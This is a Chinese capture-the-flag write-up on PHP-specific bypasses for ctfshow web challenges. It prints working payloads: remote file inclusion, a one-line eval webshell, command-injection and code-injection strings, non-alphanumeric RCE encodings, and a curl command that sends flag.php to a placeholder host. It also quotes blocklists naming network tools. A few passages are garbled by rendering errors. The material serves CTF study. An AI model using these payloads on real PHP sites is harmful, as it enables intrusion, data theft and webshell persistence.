[web安全学习] ctfshow-php特性总结

文章目录

    • 一. 常见php函数
      • 1. intval
      • 2. strpos
      • 3. is_numeric
      • 4. var_dump()
      • 5. call_user_func()函数
      • 5. parse_str
      • 6. strrev
      • 7. get_defined_vars
    • 二. 常见绕过方法
      • 尝试添加加号+和空格进行绕过
      • 进制绕过
      • 采用伪协议绕过如:
      • 数组绕过
      • 三目运算符+变量覆盖
      • PHP弱类型比较
      • and与&&的区别+反射类ReflectionClass的使用
      • 绕过is_numeric
      • PHP变量覆盖
      • ereg %00正则截断绕过正则
      • FilesystemIterator类的使用
      • 超全局变量$GLOBALS
      • php伪协议绕过is_file+highlight_file
      • 利用php新特性多次包含绕过is_file
      • trim函数的绕过+is_numeric绕过
      • php变量命名不允许使用点号
      • $_SERVER['argv']
      • gettext拓展的使用
      • PHP利用PCRE回溯次数限制绕过某些安全限制
      • ||的优先级低于&&
      • 反引号无回显RCE+使用bp进行curl回显
      • POST数组的覆盖
      • 应对命令执行无回显
      • 命令执行写入文件,利用tee
      • ==松散比较
      • 无字母数字的RCE
      • RCE create_function()代码注入
      • 使用中文变量
      • php写一句话木马

一. 常见php函数

1. intval

[web安全学习] ctfshow-php特性总结_第1张图片
即获取变量的整数值

2. strpos

strpos() 函数查找字符串在另一字符串中第一次出现的位置。
针对此函数:
1.使用php伪协议绕过
payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
2.远程文件包含
在自己的服务器上写个一句话,然后保存为txt文档。
例如 f=http://url/xxx.txt?ctfshow
其中xxx.txt为一句话
另外还有数组绕过:
stripos应用于数组的时候会返回null,null!==false

3. is_numeric

返回值:
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回空值,即 FALSE。
is_numeric在php5的环境中,是可以识别十六进制的。但在php7中有的十六进制数不能被识别为数字。

4. var_dump()

var_dump() 函数用于输出变量的相关信息。

5. call_user_func()函数

语法:call_user_func(PHP 4, PHP 5, PHP 7)
第一个参数作为回调函数调用,其余参数是回调函数的参数

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
     
    function __wakeup(){
     
        die("private class");
    }
    static function getFlag(){
     
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']);

调用类中的静态函数:
payload: ctfshow=ctfshow::getFlag
补充:->和::的区别

-> 调用实例方法
:: 调用静态方法
在类里面的时候,$this->func()和self::func()没什么区别。
在外部的时候,->必须是实例化后的对象使用;而::可以是未实例化的类名直接调用。

同时:call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。如果::被过滤可以使用数组绕过。

5. parse_str

parse_str — 将字符串解析成多个变量

parse_str ( string KaTeX parse error: Expected 'EOF', got '&' at position 25: …tring [, array &̲result ] ) : void

如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。
例如:

$a='q=123&p=456';
parse_str($a,$b);
echo $b['q'];   //输出123
echo $b['p'];   //输出456

6. strrev

字符串反转

7. get_defined_vars

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

二. 常见绕过方法

尝试添加加号+和空格进行绕过

进制绕过

采用伪协议绕过如:

?u=/var/www/html/flag.php
?u=./flag.php
?u=php://filter/resource=flag.php

数组绕过

对于md5加密:a[]=1&b[]=2
[web安全学习] ctfshow-php特性总结_第2张图片

三目运算符+变量覆盖

例:如果get传了一个值,那么就可以用post覆盖get中的值。
最后一行是,如果get传了一个HTTP_FLAG=flag就输出flag否则显示index.php源码。
所以我们get随便传一个,然后post传 HTTP_FLAG=flag即可

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

PHP弱类型比较

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
      
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
     
    file_put_contents($_GET['n'], $_POST['content']);
}

in_array函数漏洞:
[web安全学习] ctfshow-php特性总结_第3张图片
因为没有设置第三个参数,则为弱类型比较,因为新加进去的随机数字每次都包含1,1存在的几率是最大的。

$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true

$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false

绕过方法:
传入n=1.php。因为PHP在使用 in_array()函数判断时,会将 1.php强制转换成数字1,而数字1在 range(1,24)数组中,当随机生成的数字正好是1时绕过 in_array()函数判断,导致任意文件上传漏洞。
payload:

?n=1.php   
post:   content=  #写入一句话

多试几次,直到不报错的那一次,说明成功传入一句话。

然后访问https://url/1.php,再post传入1=system(‘ls’);

再访问这个flag36d.php,即post: 1=system(‘cat flag36d.php’);

然后在网页源码中看到flag

and与&&的区别+反射类ReflectionClass的使用

$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
     
    if(!preg_match("/\;/", $v2)){
     
        if(preg_match("/\;/", $v3)){
     
            eval("$v2('ctfshow')$v3");
        }
    }
}

1)and和&&的区别

<?php
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

因此对于$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);只需要使v1为true即可进入if
2) 反射类
直接输出这个类即可,也就是构造出 echo new ReflectionClass(‘ctfshow’);
payload:?v1=1&v2=echo new ReflectionClass&v3=;
对于反射类借用羽师傅的wp:

<?php
class A{
     
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
     
    echo "hello
"
; } } $a=new ReflectionClass('A'); var_dump($a->getConstants()); 获取一组常量 输出 array(1) { ["PI"]=> float(3.14) } var_dump($a->getName()); 获取类名 输出 string(1) "A" var_dump($a->getStaticProperties()); 获取静态属性 输出 array(1) { ["flag"]=> string(15) "flag{123123123}" } var_dump($a->getMethods()); 获取类中的方法 输出 array(1) { [0]=> object(ReflectionMethod)#2 (2) { ["name"]=> string(5) "hello" ["class"]=> string(1) "A" } }

绕过is_numeric

一是利用科学计数法,二是对于 ; () # []等可以利用php伪协议base64编码,然后十六进制就可以绕过

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
     
    $s = substr($v2,2);   //十六进制绕过substr
    $str = call_user_func($v1,$s);    //call_user_func把第一个参数作为回调函数调用,$s为参数
    echo $str;
    file_put_contents($v3,$str);
}
else{
     
    die('hacker');
}

将命令转为十六进制编码:

$a=';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
输出   5044383959474e6864434171594473

同时对于substr函数的截断可以在十六进制数前加00
因此最终payload:
在这里插入图片描述
hex2bin将16进制转换成字符串从而写入木马文件。(hex2bin如果参数带0x会报错)
之后访问1.php查看源码得到答案,对于php://filter可以看这篇文章
https://blog.csdn.net/wy_97/article/details/77432002

PHP变量覆盖

$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
     
    if($key==='error'){
     
        die("what are you doing?!");
    }
    $$key=$$value;
    //先通过get方法将$flag=>$a
}foreach($_POST as $key => $value){
     
    if($value==='flag'){
     
        die("what are you doing?!");
    }
    $$key=$$value;
}
//通过post方法将$a=>$error
if(!($_POST['flag']==$flag)){
     
    die($error);
}
//通过die输出$error变量的值即flag
echo "your are good".$flag."\n";
die($suces);
  1. 通过die($error)输出:GET: ?a=flag POST:error=a
  2. 通过die($suces)输出:get:?suces=flag&flag=此时
$scues=flag{
     test123}; $_POST['flag']=NULL;$flag=NULL,满足($_POST['flag']==$flag)

ereg %00正则截断绕过正则

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
     
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
     
    echo $flag;
}

payload:c=a%00778
首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。

FilesystemIterator类的使用

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
     
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
     
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
     
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

借用羽师傅的图片
[web安全学习] ctfshow-php特性总结_第4张图片
利用php的getcwd()方法获取目录
payload:v1=FilesystemIterator&v2=getcwd
缺点是如果flag所在的文件不是排在第一位的话,我们可能就没有办法得到flag

超全局变量$GLOBALS

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

php伪协议绕过is_file+highlight_file

function filter($file){
     
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
     
        die("hacker!");
    }else{
     
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
     
    highlight_file(filter($file));
}else{
     
    echo "hacker!";
}

对于不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议
没有任何过滤的伪协议:
file=php://filter/resource=flag.php
还有一些其他:

php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

利用php新特性多次包含绕过is_file

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
     
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
     
        die('hacker!');
    }else{
     
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
     
    highlight_file(filter($file));
}else{
     
    echo "hacker!";
}

payload:

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php 

其中/proc/self/root指向的就是根目录,而对于多次重复后也可以绕过is_file
同时对于require_once函数同样可以利用多次重复来绕过,因为require_once包含的软链接层数较多时once 的 hash 匹配会直接失效造成重复包含,至于底层原理还不清楚。

trim函数的绕过+is_numeric绕过

语法
trim(string,charlist)
去除字符串首尾处的空白字符
参数	描述
string	        必需。规定要检查的字符串。
charlist	    可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0"       - NULL
"\t"       - 制表符
"\n"       - 换行
"\x0B"     - 垂直制表符
"\r"       - 回车
" "        - 空格

羽师傅写的ASCII过滤:

for ($i=0; $i <=128 ; $i++) {
      
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
     
        echo urlencode(chr($i))."\n";
   }
}

发现除了+,-之外只有换页符%0c可以,也就是可以构造如:?num=%0c3

php变量命名不允许使用点号

对于这种情况

if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))

难点是处理$_POST[CTF_SHOW.COM]
PHP变量名由数字字母下划线组成,是没有.的,GET或POST方式传进去的变量名,会自动将空格 + . [转换为_。有一种特殊情况,特殊字符[GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如 CTF[SHOW.COM=>CTF_SHOW.COM

POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

2是使用如CTF%5BSHOW.COM进行变量赋值

$_SERVER[‘argv’]

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
     
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
     
         eval("$c".";");
         if($fl0g==="flag_give_me"){
     
             echo $flag;
         }
    }
}

对于$_SERVER[‘argv’]有:

1、cli模式(命令行)下

	第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

	在web页模式下必须在php.ini开启register_argc_argv配置项
	
    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[QUERY_STRING]

    $argv,$argc在web模式下不适用

因为在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']
就可以通过eval将flag_give_me赋值fl0g
payload:

get:  $fl0g=flag_give_me; //注意加分号
post:  CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])

预期解:

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

原理:
CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去
继续判断query string是否为空,
如果不为空把通过+符号分割的字符串转换成php内部的zend_string,
然后再把这个zend_string复制到 arr 数组中去。
这样就可以通过加号+分割argv成多个部分
测试:


$a=$_SERVER['argv'];
var_dump($a);

传入 a=1+fl0g=flag_give_me
结果如下
array(2) {
      [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }

PS:url中替换_的字符:

+ _ [ .  
+  这里的加号在url中起到空格的作用

gettext拓展的使用

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
     
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
     
    echo "嗯哼?";
}
function check($str){
     
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

在开启该拓展后 _()等效于 gettext(),正好针对过滤操作中对字母数字的过滤,call_user_func(’_’,‘phpinfo’) 返回的就是phpinfo


echo gettext("phpinfo");
结果  phpinfo

echo _("phpinfo");
结果 phpinfo

PHP利用PCRE回溯次数限制绕过某些安全限制

P神博客

||的优先级低于&&

所以对于

if(($code === mt_rand(1,0x36D) && $password === $flag )||( $username ==="admin")){
     

只需满足```$username=admin``

反引号无回显RCE+使用bp进行curl回显

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
     
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
     
        eval(substr($F,0,6));
    }else{
     
        die("6个字母都还不够呀?!");
    }
}
在get传参?F=`$F `;sleep 3,发现会多加载三秒,因为在`substr()`函数截取后,
得到`$F `; 
会执行eval("`$F `;")
这时候再带入原来的$F,可以得到eval("``$F `;sleep 3`` `;")
此时在后面就执行了sleep 3的命令

反引号是没有回显的,使用curl进行RCE

?F=`$F `;curl -X POST -F xx=@flag.php http://xxx

如下:
[web安全学习] ctfshow-php特性总结_第5张图片
[web安全学习] ctfshow-php特性总结_第6张图片
点击1后替换xxx部分即可。

[web安全学习] ctfshow-php特性总结_第7张图片

POST数组的覆盖

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
     
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
     
    die(file_get_contents('flag.php'));
}

[web安全学习] ctfshow-php特性总结_第8张图片

parse_str($query_string, $geturl);
parse_str() 函数把查询字符串解析到变量中。

extract的$_POST,利用parse_str把$_POST给覆盖掉
payload:

?_POST[key1]=36d&_POST[key2]=36d

应对命令执行无回显

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
     
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
     
        eval(substr($F,0,6));
    }else{
     
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

payload:

?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;
?F=`$F `;nl f*>a

还可以利用ping命令进行命令执行,参考羽师傅的博客
之后访问如url/a即可。
其中:

1. nl 命令读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。 在输出中,nl 命令根据您在命令行中指定的标志来计算左边的行。 输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。 除非使用 -p 标志,nl 命令在每个逻辑页开始的地方重新设置行号。 可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。
2.cp命令用于复制文件或目录。
3. uniq 命令用于检查及删除文本文件中重复出现的行列,一般与 sort 命令结合使用。

uniq 可检查文本文件中重复出现的行列。

命令语法:

uniq [-c/d/D/u/i] [-f Fields] [-s N] [-w N] [InFile] [OutFile]

命令执行写入文件,利用tee


error_reporting(0);
function check($x){
     
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
     
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
     
    highlight_file(__FILE__);
}
?>

?c=ls | tee a

然后访问url/a,查看当前目录的文件,发现只有一个index.php,于是继续用命令

?c=ls / | tee b

查看根目录下文件,发现f149_15_h3r3,最后用

?c=nc /f149_15_h3r3| tee xxx

访问xxx得到flag

==松散比较

[web安全学习] ctfshow-php特性总结_第9张图片
intval会将非数字字符转换为0,也就是说 intval(‘a’)==0 intval(’.’)==0 intval(’/’)==0

无字母数字的RCE

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
     
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
     
        if(preg_match('/^\W+$/', $v3)){
        // /^\W+$/ 作用是匹配非数字字母下划线的字符
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

推荐羽师傅的无字母数字绕过正则表达式总结
另外在PHP中,数字可以和命令一起运算,比如1-phpinfo()可以执行phpinfo,那么构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-,
采用无数字字母RCE,取反:
payload:

v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1

还有三目运算符的巧用:
如执行

eval("return 1?phpinfo();:1");

payload:

?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%93%8C):
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5):

RCE create_function()代码注入

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
     
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
     
        $ctfshow('',$_GET['show']);
    }

}

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
这题可以用create_function()函数来实现,先看这个函数的定义:

create_function('$fname','echo $fname."a"')
//类似于
function fT($fname) {
     
  echo $fname."a";
}

想要执行命令,首先就要将这个函数闭合,然后才能输入想要执行的命令,并且因为这题过滤了数字和字母,可以用%5c放在开头绕过。
payload

GET:?show=echo 1;}system("tac f*");//
POST:ctf=%5ccreate_function

使用中文变量


include 'flag.php';
if(isset($_GET['code'])){
     
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
     
        die("error");
    }
    @eval($code);
}
else{
     
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
     
    echo file_get_contents("flag.php");
}

预期解:

code=$哈="`{
     {
     {"^"?<>/";${
     $哈}[](${
     $哈}[]);&=system&=tac f*
"`{
    {
    {"^"?<>/";  异或的结果是_GET,

php写一句话木马


error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
     
    if(is_file($file)){
     
        if ($file !== "index.php") {
     
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
     
    if(is_file($file)){
     
        if ($file !== "index.php") {
     
            unlink($file);
        }
    }
}

ctf=index.php
show=<?php eval($_POST[1]);?>

蚁剑连接可以得到flag

你可能感兴趣的:(安全学习,web安全)